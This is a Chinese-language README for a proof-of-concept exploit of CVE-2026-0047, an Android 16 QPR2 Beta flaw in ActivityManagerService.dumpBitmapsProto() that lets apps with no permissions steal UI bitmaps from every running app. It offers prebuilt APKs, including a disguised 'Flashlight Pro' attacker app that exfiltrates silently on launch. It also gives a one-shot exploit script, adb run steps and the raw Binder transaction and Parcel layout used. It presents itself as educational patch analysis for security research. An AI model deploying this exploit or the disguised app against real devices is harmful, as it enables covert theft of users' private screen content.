CVE-2026-0047:ActivityManagerService.dumpBitmapsProto() 中缺少权限检查 — 无需任何权限即可窃取所有正在运行应用的 UI 位图(Android 16 QPR2 Beta)
从每个正在运行的应用中窃取成堆的位图 — 零权限、零用户交互。
ActivityManagerService.dumpBitmapsProto() 中缺少 enforceCallingOrSelfPermission(DUMP) 检查,导致 Android 16 QPR2 Beta (Baklava) 上任何已安装的应用都能从所有正在运行的进程中窃取 UI 位图。
注意: 此漏洞并非由我们发现。发现并负责任地报告该漏洞的所有功劳归于原始研究人员。本仓库包含我们独立的补丁分析、复现过程和教育性分析文章,旨在帮助安全社区理解相关漏洞类别及所涉及的利用技术。
| CVE | CVE-2026-0047 |
| 严重性 | 严重 — CVSS 8.4 |
| 组件 | ActivityManagerService.dumpBitmapsProto() |
| 根本原因 | 缺少权限检查 (CWE-280) |
| 影响 | 任何零权限应用都能窃取所有正在运行应用的 UI 位图 |
| 受影响版本 | Android 16 QPR2 Beta 1–3 (Baklava),补丁级别 < 2026-03-01 |
| 已修复 | 2026 年 3 月 Android 安全公告 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
你需要一个安全补丁级别早于 2026-03-01 的 Android 16 QPR2 Beta (Baklava) 模拟器:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
原始 Binder 探测 — activity 服务上的事务代码 #117 映射到 dumpBitmapsProto()。在不带参数的情况下发送该事务会在 AMS 内部触发 NullPointerException(而非 SecurityException),证明该方法体在执行时没有任何权限检查。
原始 Binder 利用 — 我们使用 IBinder.transact() 将手工构造的 Parcel 直接发送给 AMS。这完全绕过了 Android 的隐藏 API 限制 — 无需设置 hidden_api_policy。该 Parcel 包含:
android.app.IActivityManager)ParcelFileDescriptor(管道写入端)userId = -2(USER_CURRENT)dumpAll = trueformat = "png"位图提取 — AMS 将包含 PNG 位图的 protobuf 数据写入管道。我们扫描 PNG 魔数(89 50 4E 47)和 IEND 尾部标记来提取各个图像。
在打开了设置、时钟和文件应用的 Baklava 模拟器(BP41.250725.007,补丁 2025-08-05)上:
Google 在 dumpBitmapsProto() 的第一行添加了 enforceCallingOrSelfPermission(DUMP),因此未授权调用方现在会在访问任何数据之前收到 SecurityException。
研究与 PoC 由 Mobile Hacking Lab 完成。我们出于教育目的独立复现了此漏洞。
此概念验证仅用于教育和授权安全研究目的。请仅在您拥有或已获得明确测试许可的设备与环境中使用。作者不对任何滥用行为负责。